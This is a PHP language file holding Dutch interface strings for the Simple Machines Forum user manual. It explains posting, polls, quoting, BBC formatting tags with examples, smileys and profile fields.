$txt['manual_posting_shortcuts'] = 'sneltoetsen: gebruik alt+s om te verzenden/posten of alt+p om een voorbeeld te bekijken';
$txt['manual_posting_posts'] = 'Verzenden';
$txt['manual_posting_preview'] = 'Bekijken';
$txt['manual_posting_nav_tree'] = 'Sommige forums geven de <strong>navigatieboom</strong> bovenaan in een enkele lijn weer. Dit bespaart ruimte.';
$txt['manual_posting_spell_check'] = 'Bij een aantal forums is het mogelijk nog voor <strong>Spellingscontrole</strong> te kiezen, deze knop bevindt zich naast de knoppen <strong>Verzenden</strong> en <strong>Bekijken</strong>.';
$txt['manual_posting_start_poll'] = 'Een nieuwe poll beginnen';
$txt['manual_posting_poll_desc_part1'] = 'Een poll is eigenlijk hetzelfde als een nieuw topic, met als toevoeging een enqu&ecirc;te. U heeft de mogelijkheid een vraag te stellen aan de medegebruikers en een aantal keuzemogelijkheden in te voeren. Een poll maakt u als volgt: klik op de knop <strong>Nieuwe Poll</strong> in plaats van <strong>Nieuw topic</strong>';
$txt['manual_posting_poll_desc_link_newtopic'] = 'zoals hierboven beschreven';
$txt['manual_posting_poll_desc_part2'] = '. Om een poll te posten is het noodzakelijk om het veld <strong>Vraag</strong> en tenminste twee mogelijkheden in het <strong>Optie</strong> blok in te vullen, ook dienen het <strong>Onderwerp</strong> en <strong>Bericht</strong> veld weer ingevuld te worden. Verdere mogelijkheden, zoals de hoeveelheid opties, tot wanneer de poll ingevuld kan worden en de wanneer iemand de resultaten kan bekijken kunt u zelf uitproberen.</paragraph><paragraph>Om meer dan acht opties in te voeren, begint u met het plaatsen van de eerste acht om dan na plaatsing te klikken op <strong>Bewerk de Poll</strong>. U kunt nu nieuwe opties toevoegen (drie per keer).';
$txt['manual_posting_poll_options'] = 'Op sommige forums is het mogelijk dat een gebruiker een poll toe kan voegen aan een al bestaand bericht.';
$txt['manual_posting_poll_note'] = 'Merk op dat het voor sommige gebruikers ook mogelijk kan zijn om een poll aan een bestaand topic toe te voegen.';
$txt['manual_posting_post_event'] = 'Een gebeurtenis op de kalender plaatsen';
$txt['manual_posting_event_desc_part1'] = 'Wanneer deze optie is geactiveerd (dit verschilt per forum), kunt u een gebeurtenis plaatsen door op de knop <strong>Kalender</strong> in het ';
$txt['manual_posting_event_desc_link_index_main'] = 'hoofdmenu';
$txt['manual_posting_event_desc_part2'] = ' te klikken en vervolgens op <strong>Nieuwe gebeurtenis</strong> in het kalender-scherm. U ziet nu het <strong>Start nieuw topic</strong> scherm met aanvullende velden voor de gebeurtenistitel, de datum en een keuze uit rubrieken waardoor bij het plaatsen van uw gebeurtenis in de rubriek van uw keuze een bericht met een link geplaatst wordt.';
$txt['manual_posting_replying'] = 'Reageren op een bericht of poll';
$txt['manual_posting_replying_desc_part1'] = 'Reageren op een bericht of een poll komt bijna op hetzelfde neer als ';
$txt['manual_posting_replying_desc_link_newtopic'] = 'Een nieuw topic starten';
$txt['manual_posting_replying_desc_part2'] = ', maar het is hier niet nodig om iets in te vullen in het veld <strong>Onderwerp</strong> tenzij u wilt veranderen wat daar al staat. Om in een poll te stemmen hoeft u alleen maar uw keuze aan te vinken en vervolgens op <strong>Stem</strong> te klikken.';
$txt['manual_posting_quick_reply_part1'] = 'Wanneer \'Snel reageren\' is geactiveerd in uw profiel zal een eenvoudig tekstveld verschijnen onder op een pagina, maar zult u de ';
$txt['manual_posting_quick_reply_link_bbc'] = 'Bulletin Board Code';
$txt['manual_posting_quick_reply_part2'] = ' en ';
$txt['manual_posting_quick_reply_link_bbc_smileys'] = 'Smileys';
$txt['manual_posting_quick_reply_part3'] = ' handmatig moeten invoegen door de code in te typen.';
$txt['manual_posting_quote_post'] = 'Een bericht citeren';
$txt['manual_posting_quote_desc'] = 'Om met behulp van een citaat te antwoorden op een bericht kunt u klikken op de knop <strong>Citeren</strong> bij het betreffende bericht en vervolgens kunt u uw eigen tekst toevoegen bij de geciteerde tekst. U kunt ook klikken op de knop <strong>Reageren</strong> en vervolgens de link <strong>Voeg citaat toe</strong> volgen die achter het betreffende bericht staat in "Samenvatting van topic." Indien u een van deze opties kiest zult u zien dat een verwijzing naar onderwerp en auteur, alsmede datum en tijd van het het bericht verschijnen. Kiest u voor de Bulletin Board Code<strong>citeren</strong> optie dan wordt alleen het betreffende bericht zonder verwijzingen weergegeven.';
$txt['manual_posting_quote_both_part1'] = 'Beide opties zullen een link naar de originele post toevoegen met de name van de poster en de datum en tijd van de post, waarbij de ';
$txt['manual_posting_quote_both_link_bbc'] = 'Bulletin Board Code';
$txt['manual_posting_quote_both_part2'] = ' <strong>quote</strong> tag simpelweg het bericht citeert zonder overige informatie.';
$txt['manual_posting_quote_independant_part1'] = 'U kunt ook het \'author\' attribute zelf onafhankelijk van de <strong>Citeer</strong> functie gebruiken, zoals gedemonstreerd in de ';
$txt['manual_posting_quote_independant_link_bbcref'] = 'SMF Bulletin Board Code Handleiding';
$txt['manual_posting_quote_independant_part2'] = ' hieronder.';
$txt['manual_posting_modify_delete'] = 'Veranderen of verwijderen van een bericht';
$txt['manual_posting_modify_desc'] = 'Om een bericht te veranderen klikt u op de <strong>Veranderen</strong> knop en maakt u uw wijzigingen. Bij de meeste forums zullen de datum en tijd van de laatste verandering weergegeven worden, sommige beheerders kunnen echter een korte vertraging hiervoor instellen.';
$txt['manual_posting_delete_desc'] = 'Klik, om een bericht te verwijderen op de <strong>Verwijder</strong> knop, gevolg door <strong>OK</strong> in het <strong>Verwijder dit bericht?</strong> venster dat verschijnt. Op sommige forums kunt u ook topics of polls die u gestart heeft verwijderen, de knoppen hiervoor vindt u onder op de pagina. Een beheerder kan de optie "berichten verwijderen" uitgeschakeld hebben.';
$txt['manual_posting_sec_posting_options'] = 'Standaard berichtopties';
$txt['manual_posting_msg_icon'] = 'Berichticoon';
$txt['manual_posting_standard_icon'] = 'Standaard';
$txt['manual_posting_thumb_up_icon'] = 'Duim omhoog';
$txt['manual_posting_thumb_down_icon'] = 'Duim omlaag';
$txt['manual_posting_exc_pt_icon'] = 'Uitroepteken';
$txt['manual_posting_q_mark_icon'] = 'Vraagteken';
$txt['manual_posting_lamp_icon'] = 'Lampje';
$txt['manual_posting_smiley_icon'] = 'Lachebek';
$txt['manual_posting_angry_icon'] = 'Boos';
$txt['manual_posting_cheesy_icon'] = 'Lachen';
$txt['manual_posting_grin_icon'] = 'Grijns';
$txt['manual_posting_sad_icon'] = 'Droevig';
$txt['manual_posting_wink_icon'] = 'Knipoog';
$txt['manual_posting_bold_example'] = 'Vet';
$txt['manual_posting_italicize_example'] = 'Schuin';
$txt['manual_posting_underline_example'] = 'Onderstrepen';
$txt['manual_posting_strike_example'] = 'Doorhalen';
$txt['manual_posting_glow_example'] = 'Gloeiend';
$txt['manual_posting_shadow_example'] = 'Schaduw';
$txt['manual_posting_move_example'] = 'Lichtkrant';
$txt['manual_posting_pre_example'] = 'Vooraf opgemaakte tekst';
$txt['manual_posting_left_example'] = 'Links uitlijnen';
$txt['manual_posting_center_example'] = 'Centreren';
$txt['manual_posting_right_example'] = 'Rechts uitlijnen';
$txt['manual_posting_hr_example'] = 'Horizontale lijn';
$txt['manual_posting_size_example'] = 'Letterformaat';
$txt['manual_posting_face_example'] = 'Lettertype';
$txt['manual_posting_flash_example'] = 'Voeg Flash toe';
$txt['manual_posting_img_example'] = 'Voeg afbeelding toe';
$txt['manual_posting_url_example'] = 'Voeg hyperlink toe';
$txt['manual_posting_email_example'] = 'Voeg e-mail toel';
$txt['manual_posting_ftp_example'] = 'Voeg FTP-link toe';
$txt['manual_posting_table_example'] = 'Voeg Tabel toe';
$txt['manual_posting_tr_example'] = 'Voeg tabelrij toe';
$txt['manual_posting_td_example'] = 'Voeg tabelkolom toe';
$txt['manual_posting_sup_example'] = 'Superscript';
$txt['manual_posting_sub_example'] = 'Subscript';
$txt['manual_posting_tele_example'] = 'Teletype';
$txt['manual_posting_code_example'] = 'Voeg code toe';
$txt['manual_posting_quote_example'] = 'Voeg citaat toe';
$txt['manual_posting_list_example'] = 'Voeg lijst toe';
$txt['manual_posting_Change_Color'] = 'Wijzig kleur';
$txt['manual_posting_color_black'] = 'Zwart';
$txt['manual_posting_color_red'] = 'Rood';
$txt['manual_posting_color_yellow'] = 'Geel';
$txt['manual_posting_color_pink'] = 'Roze';
$txt['manual_posting_color_green'] = 'Groen';
$txt['manual_posting_color_orange'] = 'Oranje';
$txt['manual_posting_color_purple'] = 'Paars';
$txt['manual_posting_color_blue'] = 'Blauw';
$txt['manual_posting_color_beige'] = 'Beige';
$txt['manual_posting_color_brown'] = 'Bruin';
$txt['manual_posting_color_teal'] = 'Teal';
$txt['manual_posting_color_navy'] = 'Donkerblauw';
$txt['manual_posting_color_maroon'] = 'Kastanjebruin';
$txt['manual_posting_color_lime'] = 'Lichtgroen';
$txt['manual_posting_smiley_code'] = 'Smiley';
$txt['manual_posting_wink_code'] = 'Knipoog';
$txt['manual_posting_cheesy_code'] = 'Lachen';
$txt['manual_posting_grin_code'] = 'Grijns';
$txt['manual_posting_angry_code'] = 'Boos';
$txt['manual_posting_sad_code'] = 'Bedroefd';
$txt['manual_posting_shocked_code'] = 'Geschokt';
$txt['manual_posting_cool_code'] = 'Cool';
$txt['manual_posting_huh_code'] = 'Huh';
$txt['manual_posting_rolleyes_code'] = 'Rollende ogen';
$txt['manual_posting_tongue_code'] = 'Tong';
$txt['manual_posting_embarrassed_code'] = 'In verlegenheid gebracht';
$txt['manual_posting_lipsrsealed_code'] = 'Verzegelde lippen';
$txt['manual_posting_undecided_code'] = 'Onzeker';
$txt['manual_posting_kiss_code'] = 'Kus';
$txt['manual_posting_cry_code'] = 'Huilen';
$txt['manual_posting_sub_message_icon'] = 'Berichticoon';
$txt['manual_posting_msg_icon_dropdown'] = 'Via dit uitvouwmenu kunt u de standaard berichticoon veranderen in een icoon van uw keuze die passend is bij uw stemming of het onderwerp van het bericht.';
$txt['manual_posting_sub_bbc'] = 'Bulletin Board Code';
$txt['manual_posting_bbc_desc'] = 'Bulletin Board Code (of BBC) is een belangrijk gereedschap voor het wijzigen van het uiterlijk van uw tekst. Ondanks dat het uw tekst op vrijwel dezelfde wijze bewerkt als een standaard tekstverwerker geeft het <strong>Tekst</strong> veld niet direct uw veranderingen weer. Om uw bericht te bekijken kunt u gebruik maken van de "voorbeeld" optie; hiermee kunt u zien hoe uw wijzigingen er uit zien voor u uw bericht post.';
$txt['manual_posting_bbc_ref_part1'] = 'Een compleet ';
$txt['manual_posting_bbc_ref_link_bbcref'] = 'SMF Bulletin Board Code Overzicht';
$txt['manual_posting_bbc_ref_part2'] = ' wordt verder in dit hoofdstuk weegegeven.';
$txt['manual_posting_sub_smileys'] = 'Smileys';
$txt['manual_posting_smiley_desc_part1'] = 'Smileys kunnen een belangrijke rol spelen in het verduidelijken van uw bericht, zoals stemveranderingen en gezichtsexpressies dit doen in een gesprek. Zoals bij de meeste forumsoftware heeft SMF een standaard smileyset bijgevoegd, waarvan in een bericht de smileys toegevoegd kunnen worden door op de betreffende smiley te klikken of door de code in te typen. Een ';
$txt['manual_posting_smiley_desc_link_nosmileys'] = 'geen smileys gebruiken';
$txt['manual_posting_smiley_desc_part2'] = ' optie is ook aanwezig; deze kunt u activeren wanneer u alleen de codes wilt weergeven en niet de daarbij behorende afbeeldingen!!';
$txt['manual_posting_smiley_ref_part1'] = 'Een compleet ';
$txt['manual_posting_smiley_ref_link_smileysref'] = 'SMF Smileyoverzicht';
$txt['manual_posting_smiley_ref_part2'] = ' wordt hieronder nog behandeld.';
$txt['manual_posting_sec_tags'] = 'Tags en nesting (voor beginners)';
$txt['manual_posting_tags_desc_part1'] = 'Voor we de lijst gaan bekijken met beschikbare ';
$txt['manual_posting_tags_desc_link_bbcref'] = 'BBC knoppen';
$txt['manual_posting_tags_desc_part2'] = ' en hun doelen gaan we bekijken hoe het werkt wanneer we bijvoorbeeld tekst vetgedrukt willen weergeven.  Hoewel het mogelijk is om op de <strong>B</strong> ("Bold") knop te klikken en de tekst tussen de tags te typen, is het praktischer om eerst de tekst te typen, vervolgens het deel te selecteren dat vet moet worden en dan pas op de B knop te klikken. Het typen van de tekst en het vervolgens selecteren gevolgd door het drukken op de B knop zou dan als uitkomst hebben: \'[b]tekst[/b]\', wat vervolgens weergegeven wordt als <b>tekst</b> wanneer het bericht geplaatst is of bij het bekijken van een voorbeeld.  (Dit werkt overigens niet in Opera, waar de tags achter de tekst geplaatst worden.) Het vervolgens opnieuw selecteren van \'[b]tekst[/b]\' en het klikken op de <strong>I</strong> (Italic, of schuingedrukt) knop zal als uitkomst hebben \'[i][b]tekstt[/b][/i]\', wat niet alleen weergegeven zal worden als <i><b>tekst</b></i> als het bericht geplaatst is of bekeken wordt, maar het laat ook zien wat het begrip nesting inhoudt. Nesting betekent dat alle nieuw geplaatste tags in een tekst als bovenstaand voorbeeld weergegeven worden als een nieuwe "box", die zowel de orginele tekst als de al ingevoegde tags bevat.';
$txt['manual_posting_note_tags'] = 'BBC-tags kunnen ook direct ingetypt worden in plaats van de knoppen te gebruiken.';
$txt['manual_posting_sec_additional_options'] = 'Extra opties';
$txt['manual_posting_sec_additional_options_desc'] = 'De volgende opties staan onder het tekstvak en zullen bij het ene forum direct zichtbaar zijn, waar u ze bij een ander forum moet \'uitklappen\' door op de link met het pijltje naar beneden  te klikken.';
$txt['manual_posting_notify'] = 'Breng me op de hoogte als er reacties zijn.';
$txt['manual_posting_return'] = 'Terug naar dit topic.';
$txt['manual_posting_no_smiley'] = 'Gebruik geen smileys.';
$txt['manual_posting_attach'] = 'Bijlage';
$txt['manual_posting_allowed_types'] = ' Toegestane extensies: txt, doc, pdf, jpg, gif, mpg, png';
$txt['manual_posting_max_size'] = ' Maximale bestandsformaat toegestaan: 128 KB, per bericht: 4';
$txt['manual_posting_sub_notify'] = 'Breng me op de hoogte als er reacties zijn.';
$txt['manual_posting_notify_desc'] = 'Vink dit aan indien u via e-mail gewaarschuwd wilt worden voor reacties op uw bericht.';
$txt['manual_posting_sub_return'] = 'Terug naar dit topic.';
$txt['manual_posting_return_desc'] = 'Vink dit aan om naar het topic terug te keren (in plaats van de index)  na het plaatsen van een bericht. (u kunt deze optie ook permanent in uw profiel aanzetten.)';
$txt['manual_posting_sub_no_smiley'] = 'Gebruik geen smileys.';
$txt['manual_posting_no_smiley_desc_part1'] = 'Vink dit aan om te voorkomen dat bepaalde ';
$txt['manual_posting_no_smiley_desc_link_smileysref'] = 'tekencombinaties';
$txt['manual_posting_no_smiley_desc_part2'] = ' in uw bericht als smileys herkend en weergegeven worden.';
$txt['manual_posting_sub_attach'] = 'Bijlage';
$txt['manual_posting_attach_desc_part1'] = 'Als deze optie door de beheerder is toegestaan kunt u extra bestanden invoegen bij uw bericht, grotendeels op dezelfde wijze als in de meeste e-mailprogramma\'s. U kunt dus op uw computer de bestanden die u wilt bijvoegen zoeken en selecteren voor u op <strong>Verzenden</strong> klikt. Tevens kunt u bijlagen verwijderen of meerdere tegelijk toevoegen door op ';
$txt['manual_posting_attach_desc_link_modify'] = 'wijzigen';
$txt['manual_posting_attach_desc_part2'] = ' te klikken. Houd daarbij echter rekening met het volgende:';
$txt['manual_posting_attach_desc2'] = 'Het type bestand en de grootte hiervan worden door de beheerder bepaald.';
$txt['manual_posting_most_forums_attach'] = 'De meeste forums zullen bijgevoegde plaatjes weergeven in uw bericht; het is echter niet mogelijk om een <em>voorbeeld</em> te bekijken. U zult uw bestanden moeten zoeken en bijvoegen net voor u uw bericht <em>verzendt</em>.';
$txt['manual_posting_sec_references'] = 'Overzichten';
$txt['manual_posting_sub_SMF_bbc'] = 'SMF Bulletin Board Code';
$txt['manual_posting_sub_smf_bbc_desc'] = 'De knoppen die hier als voorbeeld gebruikt worden maken deel uit van het SMF standaardthema en kunnen per forum verschillen.';
$txt['manual_posting_header_name'] = 'Tagnaam';
$txt['manual_posting_header_button'] = 'Knop';
$txt['manual_posting_header_code'] = 'Code';
$txt['manual_posting_header_output'] = 'Uitkomst';
$txt['manual_posting_header_comments'] = 'Opmerkingen';
$txt['manual_posting_bbc_bold'] = 'Vet';
$txt['manual_posting_bold_code'] = '[b]vet[/b]';
$txt['manual_posting_bold_output'] = 'vet';
$txt['manual_posting_bold_comment'] = '*';
$txt['manual_posting_bbc_italic'] = 'Schuin';
$txt['manual_posting_italic_code'] = '[i]schuin[/i]';
$txt['manual_posting_italic_output'] = 'schuin';
$txt['manual_posting_italic_comment'] = '*';
$txt['manual_posting_bbc_underline'] = 'Onderstrepen';
$txt['manual_posting_underline_code'] = '[u]Onderstrepen[/u]';
$txt['manual_posting_underline_output'] = 'Onderstrepen';
$txt['manual_posting_underline_comment'] = '*';
$txt['manual_posting_bbc_strike'] = 'Doorhaling';
$txt['manual_posting_strike_code'] = '[s]doorhaling[/s]';
$txt['manual_posting_strike_output'] = 'doorhaling';
$txt['manual_posting_strike_comment'] = '*';
$txt['manual_posting_bbc_glow'] = 'Gloeiend';
$txt['manual_posting_glow_code'] = '[glow=red,2,50]gloeiend[/glow]';
$txt['manual_posting_glow_output'] = 'gloeiend';
$txt['manual_posting_glow_comment'] = 'De drie termen (red, 2, 50) in de \'gloeiend\'-tag zijn kleur, sterkte en breedte.';
$txt['manual_posting_bbc_shadow'] = 'Schaduw';
$txt['manual_posting_shadow_code'] = '[shadow=red,left]<br />schaduw<br />[/shadow]';
$txt['manual_posting_shadow_output'] = 'schaduw';
$txt['manual_posting_shadow_comment'] = 'De twee termen in de \'schaduw\'-tag (red, left) gaan over de kleur en de plaatsing van de schaduw.';
$txt['manual_posting_bbc_move'] = 'Marquee';
$txt['manual_posting_move_code'] = '[move]bewegend[/move]';
$txt['manual_posting_move_output'] = 'bewegend';
$txt['manual_posting_move_comment'] = 'Kan ook voor plaatjes gebruikt worden!';
$txt['manual_posting_bbc_pre'] = 'Preformatted Tekst';
$txt['manual_posting_pre_comment'] = 'De tekst wordt lineair geplaatst, weergegeven in een monospace font.';
$txt['manual_posting_bbc_left'] = 'Links uitlijnen';
$txt['manual_posting_left_code'] = '[left]links uitgelijnd[/left]';
$txt['manual_posting_left_output'] = 'links uitgelijnd';
$txt['manual_posting_left_comment'] = '*';
$txt['manual_posting_bbc_centered'] = 'Centreren';
$txt['manual_posting_centered_code'] = '[center]gecentreerd[/center]';
$txt['manual_posting_centered_output'] = 'gecentreerd';
$txt['manual_posting_centered_comment'] = '*';
$txt['manual_posting_bbc_right'] = 'Rechts uitlijnen';
$txt['manual_posting_right_code'] = '[rightrechts uitlijnen[/right]';
$txt['manual_posting_right_output'] = 'rechts uitgelijnd';
$txt['manual_posting_right_comment'] = '*';
$txt['manual_posting_bbc_rtl'] = 'Rechts naar links';
$txt['manual_posting_rtl_code'] = '[rtl]rechts naar links![/rtl]';
$txt['manual_posting_rtl_output'] = 'rechts naar links!';
$txt['manual_posting_rtl_comment'] = 'Zou gebruikt kunnen worden om Arabisch of Hebreeuws te posten.';
$txt['manual_posting_bbc_ltr'] = 'Links naar rechts';
$txt['manual_posting_ltr_code'] = '[ltr]links naar rechts![/ltr]';
$txt['manual_posting_ltr_output'] = 'links naar rechts!';
$txt['manual_posting_ltr_comment'] = 'Zou gebruikt kunnen worden om in een Arabisch of Hebreeuws document te posten.';
$txt['manual_posting_bbc_hr'] = 'Horizontale lijn';
$txt['manual_posting_hr_code'] = '[hr]';
$txt['manual_posting_hr_comment'] = '*';
$txt['manual_posting_bbc_size'] = 'Letter formaat';
$txt['manual_posting_size_code'] = '[size=10pt]letter formaat[/size]';
$txt['manual_posting_size_output'] = 'letter formaat';
$txt['manual_posting_size_comment'] = '*';
$txt['manual_posting_bbc_font'] = 'Lettertype';
$txt['manual_posting_font_code'] = '[font=Verdana]lettertype[/font]';
$txt['manual_posting_font_output'] = 'font face';
$txt['manual_posting_font_comment'] = 'Alleen lettertypes die geinstalleerd zijn op de computer van de gebruiker zullen worden weergegeven, dus wees voorzichtig!';
$txt['manual_posting_bbc_color'] = 'Letterkleur';
$txt['manual_posting_color_code'] = '[color=Red]rood[/color]';
$txt['manual_posting_color_output'] = 'rood';
$txt['manual_posting_color_comment'] = 'Selecteer de kleur uit het drop-down menu.';
$txt['manual_posting_bbc_flash'] = 'Voeg Flash toe';
$txt['manual_posting_flash_code'] = '[flash=200,200]<br />http://website/bestand.swf<br />[/flash]';
$txt['manual_posting_flash_output'] = 'http://somesite/somefile.swf';
$txt['manual_posting_flash_comment'] = 'Als het ingevoegen van Flash door de beheerder is uitgeschakeld zal het Flash document als een hyperlink verschijnen, zoals hier te zien. De twee waarden in de Flash Tag zijn resp. breedte en hoogte.';
$txt['manual_posting_bbc_img'] = 'Voeg afbeelding toe';
$txt['manual_posting_img_top_code'] = '[img]<br />http://somesite/image.gif<br />[/img]';
$txt['manual_posting_img_top_comment'] = 'Geef breedte en hoogte waarden in om het formaat te wijzigen.';
$txt['manual_posting_img_bottom_code'] = '[img width=48 height=48]<br />http://somesite/image.gif<br />[/img]';
$txt['manual_posting_bbc_url'] = 'Voeg hyperlink toe';
$txt['manual_posting_url_code'] = '[url]http://website/[/url]';
$txt['manual_posting_url_output'] = 'http://website/';
$txt['manual_posting_url_comment'] = 'Bij het gebruik van url-tags zal de link in een nieuw venster geopend worden. Gebruik \'iurl\' tags om de link in hetzelfde venster te openen.';
$txt['manual_posting_url_bottom_code'] = '[url=http://website/]<br />omschrijving link<br />[/url]';
$txt['manual_posting_url_bottom_output'] = 'omschrijving link';
$txt['manual_posting_bbc_email'] = 'Voeg e-mail toe';
$txt['manual_posting_email_code'] = '[email]<br />iemand@website<br />[/email]';
$txt['manual_posting_email_output'] = 'iemand@website';
$txt['manual_posting_email_comment'] = '*';
$txt['manual_posting_bbc_ftp'] = 'Voeg FTP link toe';
$txt['manual_posting_ftp_code'] = '[ftp]<br />ftp://website/bestand<br />[/ftp]';
$txt['manual_posting_ftp_output'] = 'ftp://website/bestand';
$txt['manual_posting_ftp_comment'] = '*';
$txt['manual_posting_ftp_bottom_code'] = '[ftp=ftp://website/bestand]<br />omschrijving link<br />[/ftp]';
$txt['manual_posting_ftp_bottom_output'] = 'omschrijving link';
$txt['manual_posting_bbc_table'] = 'Voeg tabel toe';
$txt['manual_posting_table_code'] = '[table][/table]';
$txt['manual_posting_table_comment'] = 'De tabel-tags alleen hebben geen effect op de uitkomst.';
$txt['manual_posting_bbc_row'] = 'Voeg Tabel Rij toe';
$txt['manual_posting_row_code'] = '[table][tr][/tr][/table]';
$txt['manual_posting_row_comment'] = 'De tabel-tags en tr-tags alleen hebben geen effect op de uitkomst..';
$txt['manual_posting_bbc_column'] = 'Voeg Tabel Kolom toe';
$txt['manual_posting_column_code'] = '[table][tr][td]<br />inhoud<br />[/td][/tr][/table]';
$txt['manual_posting_column_output'] = 'content';
$txt['manual_posting_column_comment'] = 'Zolang het aantal tr-tags gelijk is aan het aantal td-tags zal de tabel correct invoegen!';
$txt['manual_posting_column_bottom_code'] = '[table][tr][td]SMF[/td]<br />[td]Bulletin[/td][/tr]<br />[tr][td]Board[/td]<br />[td]Code[/td][/tr][/table]';
$txt['manual_posting_bbc_sup'] = 'Bovenschrift';
$txt['manual_posting_sup_code'] = '[sup]bovenschrift[/sup]';
$txt['manual_posting_sup_output'] = 'superscript';
$txt['manual_posting_sup_comment'] = '*';
$txt['manual_posting_bbc_sub'] = 'Onderschrift';
$txt['manual_posting_sub_code'] = '[sub]onderschrift[/sub]';
$txt['manual_posting_sub_output'] = 'subscript';
$txt['manual_posting_sub_comment'] = '*';
$txt['manual_posting_bbc_tt'] = 'Teletype';
$txt['manual_posting_tt_code'] = '[tt]teletype[/tt]';
$txt['manual_posting_tt_output'] = 'teletype';
$txt['manual_posting_tt_comment'] = 'Monospace lettertype.';
$txt['manual_posting_bbc_code'] = 'Code invoegen';
$txt['manual_posting_code_code'] = '[code]&lt;?php phpinfo(); ?&gt;[/code]';
$txt['manual_posting_code_comment'] = 'Always use to preserve formatting of code and avoid parsing as BBC and/or smileys!';
$txt['manual_posting_bbc_quote'] = 'Citaat invoegen';
$txt['manual_posting_quote_code'] = '[quote]quote[/quote]';
$txt['manual_posting_quote_output'] = 'quote';
$txt['manual_posting_quote_comment'] = 'Merk het optionele \'author\' attribuut op.';
$txt['manual_posting_quote_buttom_code'] = '[quote author=author]quote[/quote]';
$txt['manual_posting_quote_buttom_output'] = 'quote';
$txt['manual_posting_bbc_list'] = 'Lijst invoegen';
$txt['manual_posting_list_code'] = '[list]<br />[li]SMF[/li]<br />[li]YaBB SE[/li]<br />[/list]';
$txt['manual_posting_list_output'] = '<ul><li>SMF</li><li>YaBB SE</li></ul>';
$txt['manual_posting_list_comment'] = 'Hoewel je zoveel items kunt toevoegen als je wilt, moet elk item tussen de juiste openings- en sluitingstag staan. Je kunt je lijstitems ook opmaken met speciale openingstags zonder sluitingstags, maar deze optie verwerkt momenteel niet naar correcte XHTML.';
$txt['manual_posting_list_buttom_code'] = '[list]<br />[o]circle<br />[O]circle<br />[0]circle<br />[*]disc<br />[@]disc<br />[+]square<br />[x]square<br />[#]square<br />[/list]';
$txt['manual_posting_list_buttom_output'] = '<ul><li type="circle">circle<br /><li type="circle">circle<br /><li type="circle">circle<br /><li type="disc">disc<br /><li type="disc">disc<br /><li type="square">square<br /><li type="square">square<br /><li type="square">square<br /></ul>';
$txt['manual_posting_bbc_abbr'] = 'Afkorting';
$txt['manual_posting_abbr_code'] = '[abbr=exemlpi gratia]eg[/abbr]';
$txt['manual_posting_abbr_output'] = 'eg';
$txt['manual_posting_abbr_comment'] = 'Geeft de volledige uitdrukking weer wanneer er met de muis overheen gegaan wordt.';
$txt['manual_posting_bbc_acro'] = 'Acronym';
$txt['manual_posting_acro_code'] = '[acronym=Simple Machines Forum]SMF[/acronym]';
$txt['manual_posting_acro_output'] = 'SMF';
$txt['manual_posting_acro_comment'] = 'Geeft de volledige uitdrukking van het acronym weer wanneer er met de muis overheen gegaan wordt.';
$txt['manual_posting_sub_help_smileys'] = 'SMF Smileys';
$txt['manual_posting_smileys_help_desc'] = 'De smileys die hier getoond worden behoren tot de standaard set. Smileys kunnen echter per forum verschillen.';
$txt['manual_posting_smileys_help_name'] = 'Naam';
$txt['manual_posting_smileys_help_img'] = 'Afbeelding (klik om in te voegen)';
$txt['manual_posting_smileys_help_code'] = 'Code (type om in te voegen)';
$txt['manual_posting_smiley_help_name'] = 'Smiley';
$txt['manual_posting_wink_help_name'] = 'Knipoog';
$txt['manual_posting_cheesy_help_name'] = 'Lach';
$txt['manual_posting_grin_help_name'] = 'Grijns';
$txt['manual_posting_angry_help_name'] = 'Kwaad';
$txt['manual_posting_sad_help_name'] = 'Bedroefd';
$txt['manual_posting_shocked_help_name'] = 'Geschokt';
$txt['manual_posting_cool_help_name'] = 'Cool';
$txt['manual_posting_huh_help_name'] = 'Huh';
$txt['manual_posting_rolleyes_help_name'] = 'Rollende ogen';
$txt['manual_posting_tongue_help_name'] = 'Tong';
$txt['manual_posting_embarrassed_help_name'] = 'Beschaamd';
$txt['manual_posting_lipsrsealed_help_name'] = 'Verzegelde lippen';
$txt['manual_posting_undecided_help_name'] = 'Ik weet het niet';
$txt['manual_posting_kiss_help_name'] = 'Kus';
$txt['manual_posting_cry_help_name'] = 'Huilen';
$txt['manual_posting_smiley_parse'] = 'Houd er rekening mee dat sommige smileys niet juist weergegeven worden wanneer niet alle tekens, inclusief spaties, ingevoerd worden.';

// Entries for template: profile.
$txt['manual_profile_profile_screen'] = 'Het profielscherm in het standaardthema bestaat normaal gesproken uit een enkel hoofdluik, met een extra menu aan de linkerkant dat de opties weergeeft waarmee je je profiel kan aanpassen. Gelieve er rekening mee te houden dat, aangezien een SMF forum in grote mate kan aangepast worden door de beheerder(s), de kenmerken en gebruikerspermissies die hier worden beschreven eerder typisch zijn dan vaststaand.';
$txt['manual_profile_edit_profile_part1'] = 'Om je eigen profiel aan te passen moet je je eigen <strong>Profiel</strong> selecteren in het ';
$txt['manual_profile_edit_profile_link_index_main'] = 'hoofdmenu';
$txt['manual_profile_edit_profile_part2'] = ' of moet je je eigen gebruikersnaam aanklikken. Je kan ook de profielen van andere leden bekijken (maar niet aanpassen), door op hun namen te klikken.';
$txt['manual_profile_available_to_all'] = 'Informatie normaal toegankelijk voor alle leden';
$txt['manual_profile_profile_info'] = 'Profielinformatie';
$txt['manual_profile_username'] = 'Gebruikersnaam';
$txt['manual_profile_login_name'] = 'inlognaam van het lid';
$txt['manual_profile_pic_text'] = 'Afbeelding/tekst';
$txt['manual_profile_name'] = 'Naam';
$txt['manual_profile_screen_name'] = 'Schermnaam van het lid';
$txt['manual_profile_posts'] = 'Berichten';
$txt['manual_profile_member_posts'] = 'Aantal geposte berichten door het lid';
$txt['manual_profile_position'] = 'Positie';
$txt['manual_profile_membergroup'] = 'Ledengroep of postgroep van het lid';
$txt['manual_profile_date_reg'] = 'Datum van registratie';
$txt['manual_profile_date_time_reg'] = 'Datum en tijd van registratie';
$txt['manual_profile_last_active'] = 'Laatst actief';
$txt['manual_profile_date_time_active'] = 'Datum en tijd van laatste activiteit';
$txt['manual_profile_email'] = 'E-mail';
$txt['manual_profile_email_user'] = 'lid@domein.land';
$txt['manual_profile_website'] = 'Website';
$txt['manual_profile_status'] = 'Huidige status';
$txt['manual_profile_pm'] = 'persoonlijk bericht';
$txt['manual_profile_online'] = 'Online';
$txt['manual_profile_gender'] = 'Geslacht';
$txt['manual_profile_age'] = 'Leeftijd';
$txt['manual_profile_n_a'] = 'N/A';
$txt['manual_profile_location'] = 'Lokatie';
$txt['manual_profile_local_time'] = 'Lokale tijd';
$txt['manual_profile_current_date_time'] = 'Huidige datum en tijd in de tijdzone van het lid';
$txt['manual_profile_language'] = 'Taal';
$txt['manual_profile_sig'] = 'Handtekening';
